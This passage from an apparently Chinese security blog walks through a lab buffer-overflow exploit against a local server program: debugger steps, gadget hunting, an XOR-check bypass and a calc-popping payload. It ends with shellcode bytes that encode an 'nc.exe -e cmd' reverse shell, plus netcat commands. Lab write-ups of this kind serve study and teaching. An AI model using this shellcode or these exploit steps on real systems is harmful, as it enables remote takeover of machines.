class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"786\" height=\"296\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-698\"  sizes=\"auto, (max-width: 786px) 100vw, 786px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%86%8D%E4%BF%AE%E6%94%B95%E3%80%81_6%EF%BC%88system%E3%80%81exit%EF%BC%89%EF%BC%9A\"><\/span>\u518d\u4fee\u65395\u3001 6\uff08system\u3001exit\uff09\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u76f4\u63a5\u7528\u7ed9\u7684\u6a21\u677f\uff0c\u53ea\u9700\u8981\u4fee\u6539system\u548cexit<\/p>\n\n\n\n<p>\u5bfb\u627esystem\u548cexit\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<p>\u8dd1\u4e00\u904d\u76ee\u524d\u6539\u597d\u7684\u811a\u672c\uff0c\u8f93\u51fadum.txt\uff0c\u7136\u540e\u572852\u7834\u89e3\u91cc\u9762\u6253\u5f00server\u7a0b\u5e8f\uff0c\u70b9\u51fb\u6267\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"594\" height=\"252\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-699\"  sizes=\"auto, (max-width: 594px) 100vw, 594px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u51fa\u5f39\u7a97\u540e\u53e6\u5f00\u7ec8\u7aef\u628a\u521a\u521a\u751f\u6210\u7684dum.txt\u53d1\u8fc7\u53bb<\/p>\n\n\n\n<p>\u4e0d\u51fa\u610f\u5916\u53ef\u4ee5\u505c\u5728cmp esi,12345678h\u5904\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"312\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-701\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p>\u5982\u679c\u6ca1\u505c\u8bf4\u660e\u6ca1\u4e0b\u65ad\u70b9\uff0cctrl+f\u641c\u7d22cmp esi,12345678h,\u7136\u540ef2\u4e0b\u65ad\u70b9\uff0c\u91cd\u65b0\u518d\u6267\u884c\u4e00\u8fb9\u521a\u521a\u7684\u64cd\u4f5c\uff0c\u5c31\u4f1a\u505c\u5728cmp esi,12345678h\u5904\uff1a<\/p>\n\n\n\n<p>\u91cd\u65b0\u6267\u884c\u7528\u8fd9\u4e24\u4e2a\u952e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@JBACWKOBBE6LNRWV.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"301\" height=\"90\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@JBACWKOBBE6LNRWV.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-719\"\/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Ollydbg\u4e2d\u53f3\u952e-\u67e5\u627e-\u6240\u6709\u6a21\u5757\u540d\u79f0<\/p>\n\n\n\n<p>\u7136\u540e\u91cc\u9762ctrl+f\u627esystem\u548cexit\uff0c\u4f1a\u627e\u5230\u591a\u4e2a\uff0c\u6211\u7528\u7684\u662fmsvcrt\u6a21\u5757\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"219\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-702\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"314\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-703\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%8E%A5%E7%9D%80%E4%BF%AE%E6%94%B94%EF%BC%88jmp_esp%EF%BC%89\"><\/span>\u63a5\u7740\u4fee\u65394\uff08jmp esp\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>alt+e\u67e5\u770b\u6a21\u5757\uff0c\u627eUSER32.dll(\u5176\u5b9e\u5176\u4ed6\u7684\u6a21\u5757\u4e5f\u884c\uff0c\u53ea\u8981\u80fd\u627e\u5230jmp esp)\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"153\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-705\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p>\u5de6\u952e\u53cc\u51fb\u8fdb\u5165\uff0cctrl+f\u627ejmp esp\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"210\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-706\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u6ce8\u610f\uff1a4 5 6\u7684\u4fee\u6539\u5fc5\u987b\u662f\u5728\u65ad\u70b9\u505c\u5728cmp esi,12345678h\u5904\u624d\u627e\uff0c\u5982\u679c\u63d0\u524d\u627e\u7684\u8bdd\u53ef\u80fd\u4f1a\u6709\u8bef\uff01<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%9C%80%E5%90%8E%E4%BF%AE%E6%94%B92\"><\/span>\u6700\u540e\u4fee\u65392<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u786e\u4fdd\u524d\u9762\u7684\u5168\u90fd\u5df2\u7ecf\u6539\u597d\uff0c\u8fd0\u884cpy\u811a\u672c\u5f97\u5230\u65b0\u7684dum.txt<\/p>\n\n\n\n<p>2\u5904\u4e00\u5f00\u59cb\u5168\u90e8\u586b0\uff08shellcode+=&#8221;\\x00\\x00\\x00\\x00&#8243; \uff09<\/p>\n\n\n\n<p>Ollydbg\u8fd0\u884cserver\u7a0b\u5e8f\uff0cnc\u8f93\u5165\u521a\u521a\u8fd0\u884cpython\u811a\u672c\u751f\u6210\u7684dum.txt\u6587\u4ef6\uff1a<\/p>\n\n\n\n<p>nc.exe 127.0.0.1 6666 &lt; dum.txt<\/p>\n\n\n\n<p>\u7a0b\u5e8f\u6b64\u65f6\u505c\u5728\u4e86cmp esi\uff0c12345678\u5904\uff0c\u6211\u4eec\u9700\u8981\u64cd\u63a7\u4e00\u5f00\u59cb\u586b\u76844\u4e2a0\uff0c\u4f7f\u5f97\u6700\u7ec8\u5f02\u6216\u503c\u4e3a0x12345678\uff0c\u624d\u80fd\u901a\u8fc7\u8fd9\u4e2a\u68c0\u6d4b:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"337\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-708\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p>\u6253\u5f00\u7f51\u7ad9<a href=\"https:\/\/www.23bei.com\/tool\/531.html\"><u>https:\/\/www.23bei.com\/tool\/531.html<\/u><\/a><\/p>\n\n\n\n<p>\u65701\u586b12345678\uff0c\u65702\u586b\u4e0a\u56fe\u5f97\u5230\u7684esi\u7684\u503c\uff0c\u6700\u540e\u5f97\u5230\u7684\u7ed3\u679c\u5c31\u662f2\u5904\u5e94\u8be5\u586b\u7684\u503c\uff08\u8bb0\u5f97\u5c0f\u7aef\u5e8f\uff09\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-20.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"281\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-20.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-709\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u4fee\u6539\u597d\u540e\u518d\u751f\u6210dum.txt\uff0c\u91cd\u590d\u521a\u521a\u7684\u6b65\u9aa4\uff0c\u53d1\u73b0cmp esi\uff0c12345678\u65f6 esi\u5df2\u7ecf\u6ee1\u8db3\u6761\u4ef6\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-21.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"311\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-21.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-710\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ee7\u7eed\u70b9\u51fb\u6267\u884c\uff0c\u5373\u53ef\u5f39\u51fa\u8ba1\u7b97\u5668\u3002<\/p>\n\n\n\n<p>\u5f53\u7136\uff0c\u4e5f\u6709\u53ef\u80fd\u4f1a\u51fa\u73b0\u8fd9\u79cd\u72b6\u51b5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"767\" height=\"195\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-711\"  sizes=\"auto, (max-width: 767px) 100vw, 767px\" \/><\/div><\/figure>\n\n\n\n<p>\u5b9e\u9a8c\u5b9e\u9645\u4e0a\u5df2\u7ecf\u6210\u529f\u4e86\uff0c\u6253\u4e0d\u5f00calc.exe\u662f\u56e0\u4e3a\u73af\u5883\u53d8\u91cf\u91cc\u9762\u6ca1\u6709\u5b83\uff0c\u6709\u4e24\u79cd\u89e3\u51b3\u65b9\u6cd5\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u91cd\u65b0\u751f\u6210shellcode,\u628acalc.exe\u6539\u6210\u7edd\u5bf9\u8def\u5f84<\/li>\n\n\n\n<li>\u6dfb\u52a0\u73af\u5883\u53d8\u91cf\uff0c\u4fdd\u8bc1\u5728\u522b\u7684\u76ee\u5f55\u91cc\u4e5f\u53ef\u4ee5\u6267\u884ccalc.exe<\/li>\n<\/ol>\n\n\n\n<p>\u6dfb\u52a0\u73af\u5883\u53d8\u91cf\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UHWPN1Z17SVS2JGA7MK.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"707\" height=\"265\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UHWPN1Z17SVS2JGA7MK.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-725\"  sizes=\"auto, (max-width: 707px) 100vw, 707px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5728\u522b\u7684\u76ee\u5f55\u4e0b\u6253\u5f00\u7ec8\u7aef\uff0c\u8f93\u5165calc.exe\u80fd\u6253\u5f00\u8ba1\u7b97\u5668\u5373\u4e3a\u6210\u529f\u3002\u4e4b\u540e\u518d\u5c1d\u8bd5\u653b\u51fb\u5373\u53ef\u5f39\u51fa\u8ba1\u7b97\u5668\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/QWP091BAF_5WCBWVEVUZ4-1024x484.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"484\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/QWP091BAF_5WCBWVEVUZ4-1024x484.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-726\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"getshell%E5%81%9A%E6%B3%95%EF%BC%9A\"><\/span>getshell\u505a\u6cd5\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u53ea\u9700\u8981exp\u4e2dshellcode\u6700\u540e\u4e00\u884c\u6362\u6210\uff1a<\/p>\n\n\n\n<p>&#8220;\\xFF\\xD0\\xE8\\xDF\\xFF\\xFF\\xFF\\x6E\\x63\\x2E\\x65\\x78\\x65\\x20\\x2D\\x65\\x20\\x63\\x6D\\x64\\x20\\x31\\x32\\x37\\x2E\\x30\\x2E\\x30\\x2E\\x31\\x20\\x35\\x35\\x35\\x35\\x61\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<\/p>\n\n\n\n<p>\u7136\u540e\u4fee\u6539dalalen\u548c\u63a7\u5236\u5f02\u62164B\u5373\u53ef\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UKNO4U@H9FUECQL2YHWO-1024x388.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"388\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UKNO4U@H9FUECQL2YHWO-1024x388.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-727\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5148\u628anc.exe\u6240\u5728\u76ee\u5f55\u52a0\u5165\u73af\u5883\u53d8\u91cf\uff0c\u5728\u522b\u7684\u76ee\u5f55\u4e0b\u6253\u5f00\u7ec8\u7aef\uff0c\u8f93\u5165nc.exe\u80fd\u542f\u52a8\u5373\u4e3a\u6210\u529f\u3002<\/p>\n\n\n\n<p>\u7136\u540e\u7528\u4e00\u4e2a\u7ec8\u7aefnc.exe -lvp 6666,\u63a5\u7740\u7528\u6539\u597d\u540e\u7684\u811a\u672c\u751f\u6210\u7684dum.txt\u653b\u51fb\uff0c\u4f46\u662f\u6211\u5728\u653b\u51fb\u65f6\u5019\u62a5\u9519\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EV0TYOPF1I1PLEQMMVNP.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"47\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EV0TYOPF1I1PLEQMMVNP.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-729\"  sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/div><\/figure>\n\n\n\n<p>\u76d1\u542c6666\u7aef\u53e3\uff0c\u547d\u4ee4\u770b\u8d77\u6765\u6ca1\u5565\u95ee\u9898<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Y_Q@W_BGXLV2J1JILX-1024x121.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" 